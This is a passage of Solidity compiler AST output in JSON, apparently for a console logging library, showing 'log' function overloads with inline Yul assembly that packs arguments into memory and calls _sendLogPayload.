ssembly","src":"286639:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43290,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"287498:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43291,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"287504:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43289,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"287482:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"287482:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43293,"nodeType":"ExpressionStatement","src":"287482:27:22"},{"AST":{"nativeSrc":"287528:214:22","nodeType":"YulBlock","src":"287528:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"287549:4:22","nodeType":"YulLiteral","src":"287549:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"287555:2:22","nodeType":"YulIdentifier","src":"287555:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287542:6:22","nodeType":"YulIdentifier","src":"287542:6:22"},"nativeSrc":"287542:16:22","nodeType":"YulFunctionCall","src":"287542:16:22"},"nativeSrc":"287542:16:22","nodeType":"YulExpressionStatement","src":"287542:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287578:4:22","nodeType":"YulLiteral","src":"287578:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"287584:2:22","nodeType":"YulIdentifier","src":"287584:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287571:6:22","nodeType":"YulIdentifier","src":"287571:6:22"},"nativeSrc":"287571:16:22","nodeType":"YulFunctionCall","src":"287571:16:22"},"nativeSrc":"287571:16:22","nodeType":"YulExpressionStatement","src":"287571:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287607:4:22","nodeType":"YulLiteral","src":"287607:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"287613:2:22","nodeType":"YulIdentifier","src":"287613:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287600:6:22","nodeType":"YulIdentifier","src":"287600:6:22"},"nativeSrc":"287600:16:22","nodeType":"YulFunctionCall","src":"287600:16:22"},"nativeSrc":"287600:16:22","nodeType":"YulExpressionStatement","src":"287600:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287636:4:22","nodeType":"YulLiteral","src":"287636:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"287642:2:22","nodeType":"YulIdentifier","src":"287642:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287629:6:22","nodeType":"YulIdentifier","src":"287629:6:22"},"nativeSrc":"287629:16:22","nodeType":"YulFunctionCall","src":"287629:16:22"},"nativeSrc":"287629:16:22","nodeType":"YulExpressionStatement","src":"287629:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287665:4:22","nodeType":"YulLiteral","src":"287665:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"287671:2:22","nodeType":"YulIdentifier","src":"287671:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287658:6:22","nodeType":"YulIdentifier","src":"287658:6:22"},"nativeSrc":"287658:16:22","nodeType":"YulFunctionCall","src":"287658:16:22"},"nativeSrc":"287658:16:22","nodeType":"YulExpressionStatement","src":"287658:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287694:4:22","nodeType":"YulLiteral","src":"287694:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"287700:2:22","nodeType":"YulIdentifier","src":"287700:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287687:6:22","nodeType":"YulIdentifier","src":"287687:6:22"},"nativeSrc":"287687:16:22","nodeType":"YulFunctionCall","src":"287687:16:22"},"nativeSrc":"287687:16:22","nodeType":"YulExpressionStatement","src":"287687:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287723:4:22","nodeType":"YulLiteral","src":"287723:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"287729:2:22","nodeType":"YulIdentifier","src":"287729:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287716:6:22","nodeType":"YulIdentifier","src":"287716:6:22"},"nativeSrc":"287716:16:22","nodeType":"YulFunctionCall","src":"287716:16:22"},"nativeSrc":"287716:16:22","nodeType":"YulExpressionStatement","src":"287716:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43268,"isOffset":false,"isSlot":false,"src":"287555:2:22","valueSize":1},{"declaration":43271,"isOffset":false,"isSlot":false,"src":"287584:2:22","valueSize":1},{"declaration":43274,"isOffset":false,"isSlot":false,"src":"287613:2:22","valueSize":1},{"declaration":43277,"isOffset":false,"isSlot":false,"src":"287642:2:22","valueSize":1},{"declaration":43280,"isOffset":false,"isSlot":false,"src":"287671:2:22","valueSize":1},{"declaration":43283,"isOffset":false,"isSlot":false,"src":"287700:2:22","valueSize":1},{"declaration":43286,"isOffset":false,"isSlot":false,"src":"287729:2:22","valueSize":1}],"id":43294,"nodeType":"InlineAssembly","src":"287519:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"286429:3:22","parameters":{"id":43265,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43258,"mutability":"mutable","name":"p0","nameLocation":"286441:2:22","nodeType":"VariableDeclaration","scope":43296,"src":"286433:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43257,"name":"uint256","nodeType":"ElementaryTypeName","src":"286433:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43260,"mutability":"mutable","name":"p1","nameLocation":"286453:2:22","nodeType":"VariableDeclaration","scope":43296,"src":"286445:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43259,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286445:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43262,"mutability":"mutable","name":"p2","nameLocation":"286462:2:22","nodeType":"VariableDeclaration","scope":43296,"src":"286457:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43261,"name":"bool","nodeType":"ElementaryTypeName","src":"286457:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":43264,"mutability":"mutable","name":"p3","nameLocation":"286471:2:22","nodeType":"VariableDeclaration","scope":43296,"src":"286466:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43263,"name":"bool","nodeType":"ElementaryTypeName","src":"286466:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"286432:42:22"},"returnParameters":{"id":43266,"nodeType":"ParameterList","parameters":[],"src":"286489:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43336,"nodeType":"FunctionDefinition","src":"287754:1334:22","nodes":[],"body":{"id":43335,"nodeType":"Block","src":"287826:1262:22","nodes":[],"statements":[{"assignments":[43308],"declarations":[{"constant":false,"id":43308,"mutability":"mutable","name":"m0","nameLocation":"287844:2:22","nodeType":"VariableDeclaration","scope":43335,"src":"287836:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43307,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287836:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43309,"nodeType":"VariableDeclarationStatement","src":"287836:10:22"},{"assignments":[43311],"declarations":[{"constant":false,"id":43311,"mutability":"mutable","name":"m1","nameLocation":"287864:2:22","nodeType":"VariableDeclaration","scope":43335,"src":"287856:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43310,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287856:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43312,"nodeType":"VariableDeclarationStatement","src":"287856:10:22"},{"assignments":[43314],"declarations":[{"constant":false,"id":43314,"mutability":"mutable","name":"m2","nameLocation":"287884:2:22","nodeType":"VariableDeclaration","scope":43335,"src":"287876:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43313,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287876:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43315,"nodeType":"VariableDeclarationStatement","src":"287876:10:22"},{"assignments":[43317],"declarations":[{"constant":false,"id":43317,"mutability":"mutable","name":"m3","nameLocation":"287904:2:22","nodeType":"VariableDeclaration","scope":43335,"src":"287896:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43316,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287896:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43318,"nodeType":"VariableDeclarationStatement","src":"287896:10:22"},{"assignments":[43320],"declarations":[{"constant":false,"id":43320,"mutability":"mutable","name":"m4","nameLocation":"287924:2:22","nodeType":"VariableDeclaration","scope":43335,"src":"287916:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43319,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287916:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43321,"nodeType":"VariableDeclarationStatement","src":"287916:10:22"},{"assignments":[43323],"declarations":[{"constant":false,"id":43323,"mutability":"mutable","name":"m5","nameLocation":"287944:2:22","nodeType":"VariableDeclaration","scope":43335,"src":"287936:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43322,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287936:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43324,"nodeType":"VariableDeclarationStatement","src":"287936:10:22"},{"assignments":[43326],"declarations":[{"constant":false,"id":43326,"mutability":"mutable","name":"m6","nameLocation":"287964:2:22","nodeType":"VariableDeclaration","scope":43335,"src":"287956:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43325,"name":"bytes32","nodeType":"ElementaryTypeName","src":"287956:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43327,"nodeType":"VariableDeclarationStatement","src":"287956:10:22"},{"AST":{"nativeSrc":"287985:828:22","nodeType":"YulBlock","src":"287985:828:22","statements":[{"body":{"nativeSrc":"288028:313:22","nodeType":"YulBlock","src":"288028:313:22","statements":[{"nativeSrc":"288046:15:22","nodeType":"YulVariableDeclaration","src":"288046:15:22","value":{"kind":"number","nativeSrc":"288060:1:22","nodeType":"YulLiteral","src":"288060:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"288050:6:22","nodeType":"YulTypedName","src":"288050:6:22","type":""}]},{"body":{"nativeSrc":"288131:40:22","nodeType":"YulBlock","src":"288131:40:22","statements":[{"body":{"nativeSrc":"288160:9:22","nodeType":"YulBlock","src":"288160:9:22","statements":[{"nativeSrc":"288162:5:22","nodeType":"YulBreak","src":"288162:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"288148:6:22","nodeType":"YulIdentifier","src":"288148:6:22"},{"name":"w","nativeSrc":"288156:1:22","nodeType":"YulIdentifier","src":"288156:1:22"}],"functionName":{"name":"byte","nativeSrc":"288143:4:22","nodeType":"YulIdentifier","src":"288143:4:22"},"nativeSrc":"288143:15:22","nodeType":"YulFunctionCall","src":"288143:15:22"}],"functionName":{"name":"iszero","nativeSrc":"288136:6:22","nodeType":"YulIdentifier","src":"288136:6:22"},"nativeSrc":"288136:23:22","nodeType":"YulFunctionCall","src":"288136:23:22"},"nativeSrc":"288133:36:22","nodeType":"YulIf","src":"288133:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"288088:6:22","nodeType":"YulIdentifier","src":"288088:6:22"},{"kind":"number","nativeSrc":"288096:4:22","nodeType":"YulLiteral","src":"288096:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"288085:2:22","nodeType":"YulIdentifier","src":"288085:2:22"},"nativeSrc":"288085:16:22","nodeType":"YulFunctionCall","src":"288085:16:22"},"nativeSrc":"288078:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"288102:28:22","nodeType":"YulBlock","src":"288102:28:22","statements":[{"nativeSrc":"288104:24:22","nodeType":"YulAssignment","src":"288104:24:22","value":{"arguments":[{"name":"length","nativeSrc":"288118:6:22","nodeType":"YulIdentifier","src":"288118:6:22"},{"kind":"number","nativeSrc":"288126:1:22","nodeType":"YulLiteral","src":"288126:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"288114:3:22","nodeType":"YulIdentifier","src":"288114:3:22"},"nativeSrc":"288114:14:22","nodeType":"YulFunctionCall","src":"288114:14:22"},"variableNames":[{"name":"length","nativeSrc":"288104:6:22","nodeType":"YulIdentifier","src":"288104:6:22"}]}]},"pre":{"nativeSrc":"288082:2:22","nodeType":"YulBlock","src":"288082:2:22","statements":[]},"src":"288078:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"288195:3:22","nodeType":"YulIdentifier","src":"288195:3:22"},{"name":"length","nativeSrc":"288200:6:22","nodeType":"YulIdentifier","src":"288200:6:22"}],"functionName":{"name":"mstore","nativeSrc":"288188:6:22","nodeType":"YulIdentifier","src":"288188:6:22"},"nativeSrc":"288188:19:22","nodeType":"YulFunctionCall","src":"288188:19:22"},"nativeSrc":"288188:19:22","nodeType":"YulExpressionStatement","src":"288188:19:22"},{"nativeSrc":"288224:37:22","nodeType":"YulVariableDeclaration","src":"288224:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"288241:3:22","nodeType":"YulLiteral","src":"288241:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"288250:1:22","nodeType":"YulLiteral","src":"288250:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"288253:6:22","nodeType":"YulIdentifier","src":"288253:6:22"}],"functionName":{"name":"shl","nativeSrc":"288246:3:22","nodeType":"YulIdentifier","src":"288246:3:22"},"nativeSrc":"288246:14:22","nodeType":"YulFunctionCall","src":"288246:14:22"}],"functionName":{"name":"sub","nativeSrc":"288237:3:22","nodeType":"YulIdentifier","src":"288237:3:22"},"nativeSrc":"288237:24:22","nodeType":"YulFunctionCall","src":"288237:24:22"},"variables":[{"name":"shift","nativeSrc":"288228:5:22","nodeType":"YulTypedName","src":"288228:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"288289:3:22","nodeType":"YulIdentifier","src":"288289:3:22"},{"kind":"number","nativeSrc":"288294:4:22","nodeType":"YulLiteral","src":"288294:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"288285:3:22","nodeType":"YulIdentifier","src":"288285:3:22"},"nativeSrc":"288285:14:22","nodeType":"YulFunctionCall","src":"288285:14:22"},{"arguments":[{"name":"shift","nativeSrc":"288305:5:22","nodeType":"YulIdentifier","src":"288305:5:22"},{"arguments":[{"name":"shift","nativeSrc":"288316:5:22","nodeType":"YulIdentifier","src":"288316:5:22"},{"name":"w","nativeSrc":"288323:1:22","nodeType":"YulIdentifier","src":"288323:1:22"}],"functionName":{"name":"shr","nativeSrc":"288312:3:22","nodeType":"YulIdentifier","src":"288312:3:22"},"nativeSrc":"288312:13:22","nodeType":"YulFunctionCall","src":"288312:13:22"}],"functionName":{"name":"shl","nativeSrc":"288301:3:22","nodeType":"YulIdentifier","src":"288301:3:22"},"nativeSrc":"288301:25:22","nodeType":"YulFunctionCall","src":"288301:25:22"}],"functionName":{"name":"mstore","nativeSrc":"288278:6:22","nodeType":"YulIdentifier","src":"288278:6:22"},"nativeSrc":"288278:49:22","nodeType":"YulFunctionCall","src":"288278:49:22"},"nativeSrc":"288278:49:22","nodeType":"YulExpressionStatement","src":"288278:49:22"}]},"name":"writeString","nativeSrc":"287999:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"288020:3:22","nodeType":"YulTypedName","src":"288020:3:22","type":""},{"name":"w","nativeSrc":"288025:1:22","nodeType":"YulTypedName","src":"288025:1:22","type":""}],"src":"287999:342:22"},{"nativeSrc":"288354:17:22","nodeType":"YulAssignment","src":"288354:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"288366:4:22","nodeType":"YulLiteral","src":"288366:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"288360:5:22","nodeType":"YulIdentifier","src":"288360:5:22"},"nativeSrc":"288360:11:22","nodeType":"YulFunctionCall","src":"288360:11:22"},"variableNames":[{"name":"m0","nativeSrc":"288354:2:22","nodeType":"YulIdentifier","src":"288354:2:22"}]},{"nativeSrc":"288384:17:22","nodeType":"YulAssignment","src":"288384:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"288396:4:22","nodeType":"YulLiteral","src":"288396:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"288390:5:22","nodeType":"YulIdentifier","src":"288390:5:22"},"nativeSrc":"288390:11:22","nodeType":"YulFunctionCall","src":"288390:11:22"},"variableNames":[{"name":"m1","nativeSrc":"288384:2:22","nodeType":"YulIdentifier","src":"288384:2:22"}]},{"nativeSrc":"288414:17:22","nodeType":"YulAssignment","src":"288414:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"288426:4:22","nodeType":"YulLiteral","src":"288426:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"288420:5:22","nodeType":"YulIdentifier","src":"288420:5:22"},"nativeSrc":"288420:11:22","nodeType":"YulFunctionCall","src":"288420:11:22"},"variableNames":[{"name":"m2","nativeSrc":"288414:2:22","nodeType":"YulIdentifier","src":"288414:2:22"}]},{"nativeSrc":"288444:17:22","nodeType":"YulAssignment","src":"288444:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"288456:4:22","nodeType":"YulLiteral","src":"288456:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"288450:5:22","nodeType":"YulIdentifier","src":"288450:5:22"},"nativeSrc":"288450:11:22","nodeType":"YulFunctionCall","src":"288450:11:22"},"variableNames":[{"name":"m3","nativeSrc":"288444:2:22","nodeType":"YulIdentifier","src":"288444:2:22"}]},{"nativeSrc":"288474:17:22","nodeType":"YulAssignment","src":"288474:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"288486:4:22","nodeType":"YulLiteral","src":"288486:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"288480:5:22","nodeType":"YulIdentifier","src":"288480:5:22"},"nativeSrc":"288480:11:22","nodeType":"YulFunctionCall","src":"288480:11:22"},"variableNames":[{"name":"m4","nativeSrc":"288474:2:22","nodeType":"YulIdentifier","src":"288474:2:22"}]},{"nativeSrc":"288504:17:22","nodeType":"YulAssignment","src":"288504:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"288516:4:22","nodeType":"YulLiteral","src":"288516:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"288510:5:22","nodeType":"YulIdentifier","src":"288510:5:22"},"nativeSrc":"288510:11:22","nodeType":"YulFunctionCall","src":"288510:11:22"},"variableNames":[{"name":"m5","nativeSrc":"288504:2:22","nodeType":"YulIdentifier","src":"288504:2:22"}]},{"nativeSrc":"288534:17:22","nodeType":"YulAssignment","src":"288534:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"288546:4:22","nodeType":"YulLiteral","src":"288546:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"288540:5:22","nodeType":"YulIdentifier","src":"288540:5:22"},"nativeSrc":"288540:11:22","nodeType":"YulFunctionCall","src":"288540:11:22"},"variableNames":[{"name":"m6","nativeSrc":"288534:2:22","nodeType":"YulIdentifier","src":"288534:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288634:4:22","nodeType":"YulLiteral","src":"288634:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"288640:10:22","nodeType":"YulLiteral","src":"288640:10:22","type":"","value":"0xcf009880"}],"functionName":{"name":"mstore","nativeSrc":"288627:6:22","nodeType":"YulIdentifier","src":"288627:6:22"},"nativeSrc":"288627:24:22","nodeType":"YulFunctionCall","src":"288627:24:22"},"nativeSrc":"288627:24:22","nodeType":"YulExpressionStatement","src":"288627:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288671:4:22","nodeType":"YulLiteral","src":"288671:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"288677:2:22","nodeType":"YulIdentifier","src":"288677:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288664:6:22","nodeType":"YulIdentifier","src":"288664:6:22"},"nativeSrc":"288664:16:22","nodeType":"YulFunctionCall","src":"288664:16:22"},"nativeSrc":"288664:16:22","nodeType":"YulExpressionStatement","src":"288664:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288700:4:22","nodeType":"YulLiteral","src":"288700:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"288706:4:22","nodeType":"YulLiteral","src":"288706:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"288693:6:22","nodeType":"YulIdentifier","src":"288693:6:22"},"nativeSrc":"288693:18:22","nodeType":"YulFunctionCall","src":"288693:18:22"},"nativeSrc":"288693:18:22","nodeType":"YulExpressionStatement","src":"288693:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288731:4:22","nodeType":"YulLiteral","src":"288731:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"288737:2:22","nodeType":"YulIdentifier","src":"288737:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288724:6:22","nodeType":"YulIdentifier","src":"288724:6:22"},"nativeSrc":"288724:16:22","nodeType":"YulFunctionCall","src":"288724:16:22"},"nativeSrc":"288724:16:22","nodeType":"YulExpressionStatement","src":"288724:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288760:4:22","nodeType":"YulLiteral","src":"288760:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"288766:2:22","nodeType":"YulIdentifier","src":"288766:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288753:6:22","nodeType":"YulIdentifier","src":"288753:6:22"},"nativeSrc":"288753:16:22","nodeType":"YulFunctionCall","src":"288753:16:22"},"nativeSrc":"288753:16:22","nodeType":"YulExpressionStatement","src":"288753:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288794:4:22","nodeType":"YulLiteral","src":"288794:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"288800:2:22","nodeType":"YulIdentifier","src":"288800:2:22"}],"functionName":{"name":"writeString","nativeSrc":"288782:11:22","nodeType":"YulIdentifier","src":"288782:11:22"},"nativeSrc":"288782:21:22","nodeType":"YulFunctionCall","src":"288782:21:22"},"nativeSrc":"288782:21:22","nodeType":"YulExpressionStatement","src":"288782:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43308,"isOffset":false,"isSlot":false,"src":"288354:2:22","valueSize":1},{"declaration":43311,"isOffset":false,"isSlot":false,"src":"288384:2:22","valueSize":1},{"declaration":43314,"isOffset":false,"isSlot":false,"src":"288414:2:22","valueSize":1},{"declaration":43317,"isOffset":false,"isSlot":false,"src":"288444:2:22","valueSize":1},{"declaration":43320,"isOffset":false,"isSlot":false,"src":"288474:2:22","valueSize":1},{"declaration":43323,"isOffset":false,"isSlot":false,"src":"288504:2:22","valueSize":1},{"declaration":43326,"isOffset":false,"isSlot":false,"src":"288534:2:22","valueSize":1},{"declaration":43298,"isOffset":false,"isSlot":false,"src":"288677:2:22","valueSize":1},{"declaration":43300,"isOffset":false,"isSlot":false,"src":"288800:2:22","valueSize":1},{"declaration":43302,"isOffset":false,"isSlot":false,"src":"288737:2:22","valueSize":1},{"declaration":43304,"isOffset":false,"isSlot":false,"src":"288766:2:22","valueSize":1}],"id":43328,"nodeType":"InlineAssembly","src":"287976:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43330,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"288838:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43331,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"288844:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43329,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"288822:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43332,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"288822:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43333,"nodeType":"ExpressionStatement","src":"288822:27:22"},{"AST":{"nativeSrc":"288868:214:22","nodeType":"YulBlock","src":"288868:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"288889:4:22","nodeType":"YulLiteral","src":"288889:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"288895:2:22","nodeType":"YulIdentifier","src":"288895:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288882:6:22","nodeType":"YulIdentifier","src":"288882:6:22"},"nativeSrc":"288882:16:22","nodeType":"YulFunctionCall","src":"288882:16:22"},"nativeSrc":"288882:16:22","nodeType":"YulExpressionStatement","src":"288882:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288918:4:22","nodeType":"YulLiteral","src":"288918:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"288924:2:22","nodeType":"YulIdentifier","src":"288924:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288911:6:22","nodeType":"YulIdentifier","src":"288911:6:22"},"nativeSrc":"288911:16:22","nodeType":"YulFunctionCall","src":"288911:16:22"},"nativeSrc":"288911:16:22","nodeType":"YulExpressionStatement","src":"288911:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288947:4:22","nodeType":"YulLiteral","src":"288947:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"288953:2:22","nodeType":"YulIdentifier","src":"288953:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288940:6:22","nodeType":"YulIdentifier","src":"288940:6:22"},"nativeSrc":"288940:16:22","nodeType":"YulFunctionCall","src":"288940:16:22"},"nativeSrc":"288940:16:22","nodeType":"YulExpressionStatement","src":"288940:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"288976:4:22","nodeType":"YulLiteral","src":"288976:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"288982:2:22","nodeType":"YulIdentifier","src":"288982:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288969:6:22","nodeType":"YulIdentifier","src":"288969:6:22"},"nativeSrc":"288969:16:22","nodeType":"YulFunctionCall","src":"288969:16:22"},"nativeSrc":"288969:16:22","nodeType":"YulExpressionStatement","src":"288969:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"289005:4:22","nodeType":"YulLiteral","src":"289005:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"289011:2:22","nodeType":"YulIdentifier","src":"289011:2:22"}],"functionName":{"name":"mstore","nativeSrc":"288998:6:22","nodeType":"YulIdentifier","src":"288998:6:22"},"nativeSrc":"288998:16:22","nodeType":"YulFunctionCall","src":"288998:16:22"},"nativeSrc":"288998:16:22","nodeType":"YulExpressionStatement","src":"288998:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"289034:4:22","nodeType":"YulLiteral","src":"289034:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"289040:2:22","nodeType":"YulIdentifier","src":"289040:2:22"}],"functionName":{"name":"mstore","nativeSrc":"289027:6:22","nodeType":"YulIdent